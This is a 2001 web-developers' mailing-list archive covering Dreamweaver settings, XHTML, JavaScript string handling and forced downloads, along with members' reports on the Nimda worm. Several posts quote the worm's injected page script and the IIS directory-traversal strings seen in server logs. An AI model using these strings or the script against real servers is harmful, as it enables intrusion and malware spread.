> Julia Frizzell
> julia_frizzell at brown.edu
> glyneth at sfad.org
> http://www.sfad.org
> http://www.theblackroad.org
> "Insert pithy quote here."
>
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From mspiegler at lightbulbpress.com  Tue Sep 18 09:04:10 2001
From: mspiegler at lightbulbpress.com (Matt)
Date: Tue Sep 18 09:04:10 2001
Subject: [thelist] Dreamweaver Dependent files
References: <p05100309b7cd02458b82@[128.148.108.71]>
 <3BA753C4.A10DE834@lightbulbpress.com>
Message-ID: <3BA75468.3DB10D4@lightbulbpress.com>

Sorry, that should be "Prompt on Put/Check In" :)

Matt wrote:

> I'm in UltraDev 4, I think it's the same as regular DW, and in UD, under
> Preferences-Sites, there's a checkbox for "Dependant Files: Prompt on
> Get/Check Out". I think that should do it.
>
> Matt
>
> Julia Frizzell wrote:
>
> > I'm on a Mac, using Dreamweaver 4.01.
> >
> > At one point, silly me, I checked that box in the Site Map that said
> > "Don't ask" when uploading dependent files. And of course, I had
> > previously checked "Yes."
> >
> > So now, each time I change a small thing on a page, it checks to
> > upload all the dependent pages/graphics/what-have-you, when I would
> > rather it not.
> >
> > I cannot, for the life of me, figure out how to change that setting.
> > I've looked all over. As a last resort, I am planning on creating a
> > new site and deleting the old, but I was hoping someone here might be
> > able to help me with this.
> >
> > So ... can anyone help? :)
> > --
> > -------------------------------
> > Julia Frizzell
> > julia_frizzell at brown.edu
> > glyneth at sfad.org
> > http://www.sfad.org
> > http://www.theblackroad.org
> > "Insert pithy quote here."
> >
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From pf at pfhyper.com  Tue Sep 18 09:35:21 2001
From: pf at pfhyper.com (Peter Fleck)
Date: Tue Sep 18 09:35:21 2001
Subject: [thelist] embarrassingly stupid XHTML questions
In-Reply-To: <20010918020841.AB32E5211F@relay.evolt.org>
References: <20010918020841.AB32E5211F@relay.evolt.org>
Message-ID: <a05100305b7cd0abe68fb@[10.0.1.23]>

>  >but i'm curious -- what did you have in mind when you said
>  >"and oh so much more"?
>
>Welp, ultimately, I was saving my butt. I don't know every single
>difference between Transitional and Strict, but I know that *one*
>difference was the pure and exact separation of design and content. The "oh
>so much more" was to make sure that no one would say "but hey! that's not
>all! Strict also does..." <g>...

But hey!

Strict also requires that inline tags -- like <a> and <img> -- and 
plain text be nested within block-level elements. IOW, "No naked 
text."
-- 
Peter Fleck
University of Minnesota Cancer Center
fleck004 at umn.edu
www.cancer.umn.edu



From dave at du4.com  Tue Sep 18 09:36:51 2001
From: dave at du4.com (Dave Dufour)
Date: Tue Sep 18 09:36:51 2001
Subject: [fwd] [thelist] Replacing Carriage returns in Javascript
In-Reply-To: <8179FA78B6D0D111AA53006097B0128007AF0C@mail1>
Message-ID: <000201c1404f$0c46dfd0$11ca8dd0@translog6bfhxr>

Matthias,

Thanks.  I've found a good solution using the escape sequences and
REPLACE -- this is it from a Google Groups page:

>>>>>>>>>>>>>>>>>>>>
With js1.2 use
  String.replace()
e.g.
  "line 1\nline2\nline3\n".replace(/\n/g, "")
Depending on what you regard as a carriage return (\r or \n or \r\n)
adapt the regular expression
  "line 1\nline2\nline3\n".replace(/\r|\n|\r\n/g, "")
>>>>>>>>>>>>>>>>>>>>

O'Reilly's provided some of this reference, but their examples were more
complex than I needed, so it was still a little confusing and it was hard to
locate the escape sequences you've provided here.  I'll hang on to this list
too.  Thanks for providing it.

Dave



>-----Original Message-----
>From: thelist-admin at lists.evolt.org
>[mailto:thelist-admin at lists.evolt.org]On Behalf Of Matthias Ritzkowski
>Sent: Tuesday, September 18, 2001 7:17 AM
>To: 'thelist at lists.evolt.org'
>Subject: RE: [fwd] [thelist] Replacing Carriage returns in Javascript
>
>
>Dave
>
>according to my magic book here, these are the escape
>sequences and their
>associated characters for JavaScript:
>
>\b	Backspace
>\f	Form feed
>\n	New line
>\r	Carriage return
>\t	Tab
>\'	Single Quote
>\"	Double Quote
>\\	Backslash
>
>Actually I am going to print this and hang it up as I only had
>the VBscript
>equivalents here so far ...
>Thanks for asking!
>
>Matthias
>
>
>
>
>-----Original Message-----
>From: Dave Dufour [mailto:dave at du4.com]
>Sent: Monday, September 17, 2001 22:05
>To: thelist at lists.evolt.org
>Subject: RE: [fwd] [thelist] Replacing Carriage returns in Javascript
>
>
>This is a remote scripting application that will only be
>viewed in IE 5.5,
>so I'm not worried about other browsers.  No, it's not
>publicly accessible.
>I'm passing values via javascript to an Active Server Pages
>remote script
>and if there are any carriage returns in the text being passed, the ASP
>function receiving it bombs.  No problem if the carriage returns are
>removed.  So, I figured a simple replace would solve the problem, but I
>cannot find the appropriate code to specify a carriage return in the
>string.replace function..
>
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From webdad at tampabay.rr.com  Tue Sep 18 09:56:21 2001
From: webdad at tampabay.rr.com (Bob Boisvert)
Date: Tue Sep 18 09:56:21 2001
Subject: [thelist] Dreamweaver Ultradev 4 / Fireworks 4
Message-ID: <000201c14052$ebfcbe30$0200a8c0@BOISNET2>

Good Day Everyone,

I'm really just starting out using Ultradev 4 and Fireworks and haven't had
much experience with them with exception of a lot of practicing. Can anyone
throw some links at me of sites that were made with just these 2
applications. I really just trying to get an idea of the capabilities of
both. The books that came with the suite aren't to clear on advanced
techniques.

feel free to email privately.

Thanks,
Bob
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From mspiegler at lightbulbpress.com  Tue Sep 18 10:07:28 2001
From: mspiegler at lightbulbpress.com (Matt)
Date: Tue Sep 18 10:07:28 2001
Subject: [thelist] Dreamweaver Ultradev 4 / Fireworks 4
References: <000201c14052$ebfcbe30$0200a8c0@BOISNET2>
Message-ID: <3BA7633F.14A5715@lightbulbpress.com>

You can check out the Macromedia Showcase of Dreamweaver sites for some
examples:

http://dynamic.macromedia.com/bin/MM/showcase/scripts/showcase_cs_listing_by_query.jsp?product=Dreamweaver

While you're there, download some free extensions. That's one of the best ways
to expand the capabilities of Dreamweaver and will give you expanded DHTML
functionality, which are somewhat limited in the base install of Dreamweaver:

http://dynamic.macromedia.com/bin/MM/showcase/scripts/showcase_cs_listing_by_query.jsp?product=Dreamweaver

Matt

Bob Boisvert wrote:

> Good Day Everyone,
>
> I'm really just starting out using Ultradev 4 and Fireworks and haven't had
> much experience with them with exception of a lot of practicing. Can anyone
> throw some links at me of sites that were made with just these 2
> applications. I really just trying to get an idea of the capabilities of
> both. The books that came with the suite aren't to clear on advanced
> techniques.
>
> feel free to email privately.
>
> Thanks,
> Bob
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Date: Tue Sep 18 10:09:06 2001
Subject: [thelist] failure notice
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From roselli at earthlink.net  Tue Sep 18 10:19:12 2001
From: roselli at earthlink.net (aardvark)
Date: Tue Sep 18 10:19:12 2001
Subject: [thelist] another worm?
Message-ID: <200109181519.f8IFJBVW010738@leo.evolt.org>

ok, a few of our clients were hit this morning by something that 
tries to get your browser (on windows) to download a .eml file 
which it would then launch via an .exe...

i can't get to any virus sites, since all web traffic coming and going 
is pretty hosed right now...

so, is there a new worm out there?  the IIS servers affected were 
*supposedly* patched against the last batch...

anyone?




From mcphelp at microsoft.com  Tue Sep 18 10:31:43 2001
From: mcphelp at microsoft.com (MCPHelp@microsoft.com)
Date: Tue Sep 18 10:31:43 2001
Subject: [thelist] MCP Acknowledgement
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From mail at richardinfo.com  Tue Sep 18 10:32:55 2001
From: mail at richardinfo.com (Richard Bennett)
Date: Tue Sep 18 10:32:55 2001
Subject: [fwd] Re: [thelist] Site not available? - Update
References: <0037f1623171191BUNSON@bunson.webservepro.com>
Message-ID: <047b01c140a1$fcd22f70$0100a8c0@wwwv7zwbf035xj>

hi,
<. Try using the providers (gofast.net)
Indeed, these seem to work well.

<> appears to be behind a firewall which is hiding ICMP traffic
Correct, the server is behind a very restrictive firewall.

> In Windows 2000, you can have as many DNS servers as you wish. Simply
> click on the "Advanced" button in the IP config dialog, and select the
> DNS tab.
In my case the "new" button grays-out after I have added two.

> One last thing you can check to try and narrow the problem is to always
> use the IP number in the address bar of the browser. This takes the DNS
> out of the loop (i.e. "http://209.46.83.16/").
This doesn't really make much difference, I still get connection, but timing
out sometimes, and very slow.

I managed to get the site working for me in IE5.5 by activating "Use proxy
server" (and settings this to my ISPs proxy-server)
so the main problem is solved.

Thanks for all comments.

Richard.




----- Original Message -----
From: "Glenn Hunt" <ghunt at hds.ca>
To: <thelist at lists.evolt.org>
Sent: Monday, September 17, 2001 10:23 AM
Subject: [fwd] Re: [thelist] Site not available? - Update


> ---------------------------------------------
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> is being manually forwarded by a list admin.
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>
> Richard,
>
> First, to clear up the confusion, default routes and default gateways
> are the same thing. MS (and others) call them gateways, they are routes
> in the *NIX world. You can have multiple ones, but it's not recommended.
>
> Second, I would say you have two big issues. The first is that your DNS
> isn't giving you an address. Try using the providers (gofast.net) DNS
> servers (209.46.63.1, 209.46.63.6). They should always provide a correct
> and quick response because they don't have to contact any other DNS
> servers to return a reply.
>
> Second, I suspect that the ping and traceroute fail because the server
> appears to be behind a firewall which is hiding ICMP traffic. Both ping
> and traceroute rely on ICMP. Many firewalls block this because it can be
> used in denial-of-service attacks. It is also possible the provider
> simply doesn't have thing set up properly.
>
> In Windows 2000, you can have as many DNS servers as you wish. Simply
> click on the "Advanced" button in the IP config dialog, and select the
> DNS tab.
>
> One last thing you can check to try and narrow the problem is to always
> use the IP number in the address bar of the browser. This takes the DNS
> out of the loop (i.e. "http://209.46.83.16/").
>
> Let me know if you still have trouble.
>
> Glenn Hunt
> ghunt at hds.ca
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From mcp at msprograms.com  Tue Sep 18 10:33:57 2001
From: mcp at msprograms.com (mcp at msprograms.com)
Date: Tue Sep 18 10:33:57 2001
Subject: [thelist] MCP Acknowledgement  (KMM2414309C0KM)
Message-ID: <200109181533.f8IFXsVW011581@leo.evolt.org>

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From MAILER-DAEMON at dti.net  Tue Sep 18 10:39:47 2001
From: MAILER-DAEMON at dti.net (Mail Delivery System)
Date: Tue Sep 18 10:39:47 2001
Subject: [thelist] Undelivered Mail Returned to Sender
Message-ID: <20010918153823.E4C4A8319@mail-relay1.dti.net>

This is the Postfix program at host mail-relay1.dti.net.

I'm sorry to have to inform you that the message returned
below could not be delivered to one or more destinations.

For further assistance, please send mail to <postmaster>

If you do so, please include this problem report. You can
delete your own text from the message returned below.

			The Postfix program

<drew at bb.com>: host smtp.dti.net[206.252.128.10] said: 550 5.1.1
    <drew at bb.com>... User unknown
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From newmailsweeper3 at state.gov  Tue Sep 18 10:41:30 2001
From: newmailsweeper3 at state.gov (newmailsweeper3 at state.gov)
Date: Tue Sep 18 10:41:30 2001
Subject: [thelist] Blocked EXECUTABLE to Department of State
Message-ID: <200109181544.LAA14035@mailrelay.state.gov>

This is an AUTOMATED MESSAGES....Please do not relay.

The Department of State mail system has detected an incoming message entitled:

ware\Microsoft\WindoJb4 prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinesacheson.state.gov.prasana

intended for:

visabulletin at state.gov


which contains an executable attachment.

State policy currently prohibits the introduction of executable files via its e-mail system.  Your message has been deleted and the recipient(s) have also been informed of this action.

We appreciate your understanding.



From null at terra.com.br  Tue Sep 18 10:42:22 2001
From: null at terra.com.br (Mensagem Automatica do Terra)
Date: Tue Sep 18 10:42:22 2001
Subject: [thelist] Returned message - mailbox size exceeded
Message-ID: <200109181542.MAA10678@srv6-poa.poa.terra.com.br>

Your message with subject [ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guideline] was not delivered to the
following recipient: [siteboy].  This recipient's mailbox is full.

Sua mensagem com assunto [ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guideline] nao foi entregue ao seguinte
destinatario: [siteboy].  A caixa-postal deste destinatario esta' cheia.

	by srv6-poa.poa.terra.com.br (8.9.3/8.9.3) with ESMTP id MAA10667
	for <siteboy at poa.terra.com.br>; Tue, 18 Sep 2001 12:42:20 -0300
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Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinesmx.terra.com.br.kris lunch 2
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Date: Tue, 18 Sep 2001 12:42:17 -0300 (GMT+3)
To: undisclosed-recipients:;



From null at terra.com.br  Tue Sep 18 10:42:31 2001
From: null at terra.com.br (Mensagem Automatica do Terra)
Date: Tue Sep 18 10:42:31 2001
Subject: [thelist] Returned message - mailbox size exceeded
Message-ID: <200109181542.MAA16615@srv8-sao.sao.terra.com.br>

Your message with subject [ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guideline] was not delivered to the
following recipient: [istoe124].  This recipient's mailbox is full.

Sua mensagem com assunto [ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guideline] nao foi entregue ao seguinte
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Date: Tue, 18 Sep 2001 12:42:29 -0300
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Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinessrv3-sao.sao.terraempresas.com.br.menu
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From rthigpen at nc.rr.com  Tue Sep 18 10:44:13 2001
From: rthigpen at nc.rr.com (Ron Thigpen)
Date: Tue Sep 18 10:44:13 2001
Subject: [thelist] failure notice
References: <200109181509.f8IF8vVW009938@leo.evolt.org>
Message-ID: <3BA76BCC.4020504@nc.rr.com>

this looks like the result of a new worm said to be propogating.  early 
analysis has the worm giving admin permissions to guest account of 
infected host, replacing Admin.dll with infected code (via ftp?), 
placing the file readme.eml in the webroot, and adding the following 
line of script to the home page.

language="JavaScript">window.open("readme.eml", null, 
"resizable=no,top=6000,left=6000")

this looks like it may be the first wild exploit of this vulnerability:

http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/security/bulletin/ms01-020.asp

--rt

MAILER-DAEMON at welly-4.star.net.uk wrote:

> Hi. This is the qmail-send program at welly-4.star.net.uk.
> I'm afraid I wasn't able to deliver your message to the following addresses.
> This is a permanent error; I've given up. Sorry it didn't work out.






From mailer at tzo.com  Tue Sep 18 10:44:30 2001
From: mailer at tzo.com (TZO Mailer)
Date: Tue Sep 18 10:44:30 2001
Subject: [thelist] Delivery failure to 128875ce@bknights.knightsofthenet.com
Message-ID: <200109181544.f8IFiRVW012664@leo.evolt.org>

Delivery was attempted, but failed because:
553 sorry, that domain isn't in my list of allowed rcpthosts (#5.7.1)

-=-=-=-=-=-=-=-=-
Original Message:
-=-=-=-=-=-=-=-=-

TZForward: 128875ce at bknights.knightsofthenet.com
Received: from 64.133.24.16 by saf2.tzo.com
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	Tue, 18 Sep 2001 15:45:05 GMT
From: <thelist at lists.evolt.org>
Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinesSAF.tzo.com.elefante
MIME-Version: 1.0
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<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
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From evolt at brasscannon.net  Tue Sep 18 10:53:46 2001
From: evolt at brasscannon.net (Kevin Martin)
Date: Tue Sep 18 10:53:46 2001
Subject: [thelist] Browser detection and save file as
Message-ID: <20010918115435.A5178@brasscannon.net>

A client wished for an upload-download page; I borrowed some PHP code to 
invoke ftp, which worked fine for the upload but it fell over on the 
download side.  I hacked the PHP to present http links to the 
available files, so it works both ways now.  But...  it requires the 
user to be clueful enough to right-click (or whatever the equivalent is on 
a Mac!) in order to do a 'save file' or 'save link' or 'save this 
link as' depending on the browser she's using.

So... I was wondering if anyone had a clever trick that would force
all (or even most) browsers to download a file rather than opening a
file?  I have complete control over the server (Apache), if that helps.

Failing that, a pointer to some pre-tested code to detect the browser and 
platform would be a godsend -- few things shake a user's confidence worse 
than asking her to "right-click" with a Mac mouse.

<tip type="Warning!" author="digger">
IE 5 on MacOS 9.1 does NOT like self-signed OpenSSL certificates.
It will hang your Mac hard if you even try to view the site.  Be warned!
</tip>




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From gturner at ync.net  Tue Sep 18 11:01:56 2001
From: gturner at ync.net (Glenn Turner)
Date: Tue Sep 18 11:01:56 2001
Subject: [thelist] User cant see page
In-Reply-To: <3B55A5A1F233D41183A800D0B74D4D5213AB62@SBS>
Message-ID: <5.1.0.14.0.20010918101008.034d7ec8@pop31.ync.net>

At 10:55 AM 9/18/2001 +0200, you wrote:
>Worked fine for me with Netscape 4.7 on PC (without Flash). I'd bet you
>anything they are using Netscape on a Mac - it seems to be way more
>*sensitive* than on the PC.

I received the html site using Netscape 4.7 Mac with Flash 5.0 r41 installed

hth,

Glenn Turner


-----------------------------------
:alias:
http://peccaui.com/alias




From seth at sethbienek.com  Tue Sep 18 11:10:20 2001
From: seth at sethbienek.com (Seth Bienek)
Date: Tue Sep 18 11:10:20 2001
Subject: [thelist] failure notice (& CF TIP)
In-Reply-To: <200109181509.f8IF8vVW009938@leo.evolt.org>
Message-ID: <GAEAJJJEJIFKMCCGFAAEMEBJCCAA.seth@sethbienek.com>

This return was generated as a result of the W32.Nimda.A at mm worm being sent out today.  If you have received an email from thelist at lists.evolt.org with an unusually long subject line, do NOT open it.  It contains a self-running executable.  Most virus scanners will not detect this virus either.

Have a nice day,

Seth

<tip type="ColdFusion">

ColdFusion has an lcase function to convert a string to lower case, and a ucase function to convert a string to upper-case, but no function to convert a string to proper case (first letter caps, every other letter lowercase).

If you're running CF5, here's a UDF for converting each word in a string to proper case:

function PCase(n)
{ 
	var title = "";
	var myword = "";
	var loop = 1;
	for(loop=1; loop LTE ListLen(n, " "); loop = loop+1)
		{
		 myword = ListGetAt(n, loop, " ");
		 	if (len(myword) is 1)
				{
				myword = myword & " ";
				}
     title = "#title# " & Ucase(Left(myword,1)) & trim(LCase(Right(myword, Len(myword) - 1)));
		}
	return title;
}
</tip>








From djc at starkmedia.com  Tue Sep 18 11:10:24 2001
From: djc at starkmedia.com (Daniel J. Cody)
Date: Tue Sep 18 11:10:24 2001
Subject: [thelist] admin: holding posts.
Message-ID: <3BA76E8D.7030801@starkmedia.com>

Hi -

Looks like there's a new variation on some old IIS vunerabilities:
http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/security/bulletin/ms01-020.asp

as such, I'll be manually approving all posts to thelist till this is 
sorted out :)

You may notice an additional lag when posting to or recieving email from 
thelist as http requests from this new worm have totally filled the t-1 
where evolt is hosted.

Post as normal, just don't expect lightning fast responses like normal 
for a couple hours :)

Thanks for your patience!

.djc.





From crsaila at yahoo.ca  Tue Sep 18 12:08:40 2001
From: crsaila at yahoo.ca (Craig Saila)
Date: Tue Sep 18 12:08:40 2001
Subject: New Worm (was Re: [thelist] another worm?)
References: <200109181519.f8IFJBVW010738@leo.evolt.org>
Message-ID: <3BA7776D.9040106@yahoo.ca>

aardvark wrote:

> ok, a few of our clients were hit this morning by something that 
> tries to get your browser (on windows) to download a .eml file 
> which it would then launch via an .exe...
> 
> i can't get to any virus sites, since all web traffic coming and going 
> is pretty hosed right now...

At McAfee, the most recent virus update is from the 11th. Strikes me 
they haven't updated the page since, as it seems a new virus was posted 
every day previous to then.
<http://vil.mcafee.com/newVirus.asp>

Symantec, however lists a new worm called W32.Nimda.A at mm that matches 
the profile. Details:
"This is the preliminary information known at this time.

Symantec has received a number of submissions and has assessed this as a 
level 4 threat rating.

There is a new mass-mailing worm that utilizes email to propagate 
itself. The threat arrives as readme.exe in an email.

In addition, the worm sends out probes to IIS servers attempting to 
spread by using the Unicode Web Traversal exploit similar to 
W32.BlueCode.Worm. Compromised servers may display a webpage prompting a 
visitor to download an Outlook file which contains the worm as an 
attachment.

Also, the worm will create an open network share allowing access to the 
system. The worm will also attempt to spread via open network shares."
<http://www.symantec.com/avcenter/venc/data/w32.nimda.a at mm.html>
-- 
Cheers,

Craig Saila
------------------------------------------
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------------------------------------------


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From ben_dyer at imaginuity.com  Tue Sep 18 12:11:48 2001
From: ben_dyer at imaginuity.com (Ben Dyer)
Date: Tue Sep 18 12:11:48 2001
Subject: [thelist] another worm?
In-Reply-To: <200109181519.f8IFJBVW010738@leo.evolt.org>
Message-ID: <5.0.2.1.0.20010918113219.021d4a38@mail.imaginuity.com>

This is the most I can find so far:

http://www.cert.org/current/current_activity.html#port80
http://hacktivism.openflows.org/article.pl?sid=01/08/13/1237245&mode=nocomment
http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0109&L=ntbugtraq&F=P&S=&P=1747

This is a doozy but details are sketchy.  It seems to be playing on the 
vulnerabilites left by Code Red II.

--Ben

At 10:19 AM 9/18/2001, you wrote:

>ok, a few of our clients were hit this morning by something that
>tries to get your browser (on windows) to download a .eml file
>which it would then launch via an .exe...
>
>i can't get to any virus sites, since all web traffic coming and going
>is pretty hosed right now...
>
>so, is there a new worm out there?  the IIS servers affected were
>*supposedly* patched against the last batch...
>
>anyone?
>
>
>---------------------------------------
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-------------------------
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    sit, altum videtus.
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From ganemanrussell at yahoo.com  Tue Sep 18 12:38:09 2001
From: ganemanrussell at yahoo.com (joseph gannon)
Date: Tue Sep 18 12:38:09 2001
Subject: [thelist] Dreamweaver Ultradev 4 / Fireworks 4
In-Reply-To: <3BA7633F.14A5715@lightbulbpress.com>
Message-ID: <20010918163544.6608.qmail@web14905.mail.yahoo.com>

Check out the book "Foundation Dreamweaver Ultradev 4"
by Rob Paddock. 
--- Matt <mspiegler at lightbulbpress.com> wrote:
> You can check out the Macromedia Showcase of
> Dreamweaver sites for some
> examples:
> 
>
http://dynamic.macromedia.com/bin/MM/showcase/scripts/showcase_cs_listing_by_query.jsp?product=Dreamweaver
> 
> While you're there, download some free extensions.
> That's one of the best ways
> to expand the capabilities of Dreamweaver and will
> give you expanded DHTML
> functionality, which are somewhat limited in the
> base install of Dreamweaver:
> 
>
http://dynamic.macromedia.com/bin/MM/showcase/scripts/showcase_cs_listing_by_query.jsp?product=Dreamweaver
> 
> Matt
> 
> Bob Boisvert wrote:
> 
> > Good Day Everyone,
> >
> > I'm really just starting out using Ultradev 4 and
> Fireworks and haven't had
> > much experience with them with exception of a lot
> of practicing. Can anyone
> > throw some links at me of sites that were made
> with just these 2
> > applications. I really just trying to get an idea
> of the capabilities of
> > both. The books that came with the suite aren't to
> clear on advanced
> > techniques.
> >
> > feel free to email privately.
> >
> > Thanks,
> > Bob
> > ---
> > Outgoing mail is certified Virus Free.
> > Checked by AVG anti-virus system
> (http://www.grisoft.com).
> > Version: 6.0.280 / Virus Database: 147 - Release
> Date: 9/11/01
> >
> > ---------------------------------------
> > For unsubscribe and other options, including
> > the Tip Harvester and archive of TheList go to:
> > http://lists.evolt.org Workers of the Web, evolt !
> 
> 
> ---------------------------------------
> For unsubscribe and other options, including
> the Tip Harvester and archive of TheList go to:
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From norman.bunn at mindspring.com  Tue Sep 18 12:56:57 2001
From: norman.bunn at mindspring.com (Norman Bunn)
Date: Tue Sep 18 12:56:57 2001
Subject: [thelist] another worm?
References: <200109181519.f8IFJBVW010738@leo.evolt.org>
Message-ID: <05b701c14063$5e98d9a0$0201a8c0@com>

One of my sites is being hammered with something trying to execute
Windows-type programs via the browser.  Since I capture 404s, I am seeing
all this activity.  Fortunately, this machine is running Linux, not Windows.
The attack is coming from multiple domains and is trying what appear to be
common directories for the Windows executables.

Strings I am seeing are:

/msadc/..%5c../..%5c../..%5c/..?
../..?
../..?
../winnt/system32/cmd.exe

/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe

/d/winnt/system32/cmd.exe

/c/winnt/system32/cmd.exe

It looks like someone is trying to exploit the IIS Remote Execution
Vulnerability or something similar.
http://www.securiteam.com/exploits/6F00M2000A.html

Anyone else seeing this?

Norman

> ok, a few of our clients were hit this morning by something that
> tries to get your browser (on windows) to download a .eml file
> which it would then launch via an .exe...
>
> i can't get to any virus sites, since all web traffic coming and going
> is pretty hosed right now...







From pgerenda at visteon.com  Tue Sep 18 12:57:25 2001
From: pgerenda at visteon.com (Gerenday, Perry (P.))
Date: Tue Sep 18 12:57:25 2001
Subject: [thelist] another worm?
Message-ID: <200109181730.f8IHULe17729@dymwsm11.mailwatch.com>

-----Original Message-----
From: aardvark [mailto:roselli at earthlink.net]
 
 > ok, a few of our clients were hit this morning by something that 
 > tries to get your browser (on windows) to download a .eml file 
 > which it would then launch via an .exe...
 > 
 > i can't get to any virus sites, since all web traffic coming 
 > and going 
 > is pretty hosed right now...
 > 
 > so, is there a new worm out there?  the IIS servers affected were 
 > *supposedly* patched against the last batch...
 > 
 > anyone?

Alright, this is getting *real* errie. I've been receiving these auto-reply
messages over the past hour. Something seems to be up. Are we under attack
on the net?

From: MAILER-DAEMON at dti.net
 Subject:Undelivered Mail Returned to Sender

From: MAILER-DAEMON at lists.evolt.org
 Subject:Undelivered Mail Returned to Sender

From: Returned message - mailbox size exceeded
 Subject: Mensagem Automatica do Terra [null at terra.com.br])

From: MCPHelp at microsoft.com
 Subject:[thelist] MCP Acknowledgement

From: newmailsweeper3 at state.gov
 Subject: [thelist] Blocked EXECUTABLE to Department of State


Perry Gerenday, Visual Communications Artist
www.virtually-artistic.com


 




From jcrawford at avencom.com  Tue Sep 18 13:03:12 2001
From: jcrawford at avencom.com (Joe Crawford)
Date: Tue Sep 18 13:03:12 2001
Subject: [thelist] another worm?
References: <200109181519.f8IFJBVW010738@leo.evolt.org> <05b701c14063$5e98d9a0$0201a8c0@com>
Message-ID: <3BA78BA1.A4296824@avencom.com>

Norman Bunn wrote:
> 
> One of my sites is being hammered with something trying to execute
> Windows-type programs via the browser.  Since I capture 404s, I am seeing
> all this activity.  Fortunately, this machine is running Linux, not Windows.
> The attack is coming from multiple domains and is trying what appear to be
> common directories for the Windows executables.

Started this morning - active as hell: Looks like Code Red on steroids.
:-(

http://www.slashdot.org/
http://www.newsbytes.com/news/01/170225.html
http://www.sarc.com/avcenter/venc/data/w32.nimda.a at mm.html
http://www.nipc.gov/warnings/advisories/2001/01-021.htm
http://securityresponse.symantec.com/avcenter/venc/data/w32.nimda.a at mm.html
http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/security/bulletin/ms01-020.asp
http://www.cert.org/current/current_activity.html#port80
http://hacktivism.openflows.org/article.pl?sid=01/08/13/1237245&mode=nocomment
http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0109&L=ntbugtraq&F=P&S=&P=1747
http://vil.mcafee.com/newVirus.asp


	- Joe
-- 
...................  Joe Crawford \\ Web Design & Development
.....  mailto:jcrawford at avencom.com \\ http://www.avencom.com
.... San Diego \\ CA \\ USA \\ AVENCOM: Set Your Sites Higher




From sunyrain at yahoo.com  Tue Sep 18 13:09:14 2001
From: sunyrain at yahoo.com (Ryan Siegel)
Date: Tue Sep 18 13:09:14 2001
Subject: [thelist] another worm?
References: <200109181519.f8IFJBVW010738@leo.evolt.org> <05b701c14063$5e98d9a0$0201a8c0@com>
Message-ID: <001101c1406c$db471940$3501a8c0@crvlls1.or.home.com>

Hello all,

I was recently hit with the Win32.SirCam.137216 worm which gets a file from
you "My Documents" and appends a .pif extension so that the worm will
propogate once the user opens the file.

It does several other things... you can learn about it here:
http://ca.com/virusinfo/encyclopedia/descriptions/s/sircam137216.htm

or, if you want to keep frames, go here:
http://www.cai.com/virusinfo/encyclopedia/
and search for "Win32.SirCam.137216"

I updated my InnoculateIT (free, btw) with the latest virus definitions
(also free) and it caught the virus and innoculated IT! ;)

I checked my system registry and it appeared to be fine (the
Win32.SirCam.137216 worm messes with it).

This worm was added to the Computer Associates definition list in August
30th so it may not be the one you are all talking about.

HTHISWOA (... In Some Way Or Another ;)
 - Ryan S.


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From ghunt at sympatico.ca  Tue Sep 18 13:16:37 2001
From: ghunt at sympatico.ca (Glenn Hunt)
Date: Tue Sep 18 13:16:37 2001
Subject: [thelist] Browser detection and save file as
In-Reply-To: <20010918115435.A5178@brasscannon.net>
Message-ID: <000601c1406d$5e941320$0300a8c0@glenn>

I went through this recently, although we used a script to process the
file instead of giving direct access. What we had to do was to have in
the header the following. I'm not sure how it would translate to PHP:

<cfheader name="Content-disposition" value="inline;
filename=<filename>">
<cfcontent type="application/x-unknown" file="<filename>">

Basically, the first line tells the browser that it is receiving a file,
not an html document. The second line tells the browser that the MIME
type of the file is "unknown". This forces most browsers to prompt to
save the file.

There was only two caveats:

1. IE (various version) will "sniff" the file to see if it recognizes
it. If it does recognize it, then it will process it, ignoring the MIME
type. Nothing can be done about this.

2. IE 5.5 SP1 will incorrectly offer to save the file using the name of
the download page, instead of the file name provided in
"Content-disposition". Again, there is no workaround for this.

Your only other options are to use a Java type download manager.

Glenn Hunt
ghunt at hds.ca


-----Original Message-----
From: thelist-admin at lists.evolt.org
[mailto:thelist-admin at lists.evolt.org] On Behalf Of Kevin Martin
Sent: Tuesday, September 18, 2001 11:55 AM
To: thelist at lists.evolt.org
Subject: [thelist] Browser detection and save file as


A client wished for an upload-download page; I borrowed some PHP code to

invoke ftp, which worked fine for the upload but it fell over on the 
download side.  I hacked the PHP to present http links to the 
available files, so it works both ways now.  But...  it requires the 
user to be clueful enough to right-click (or whatever the equivalent is
on 
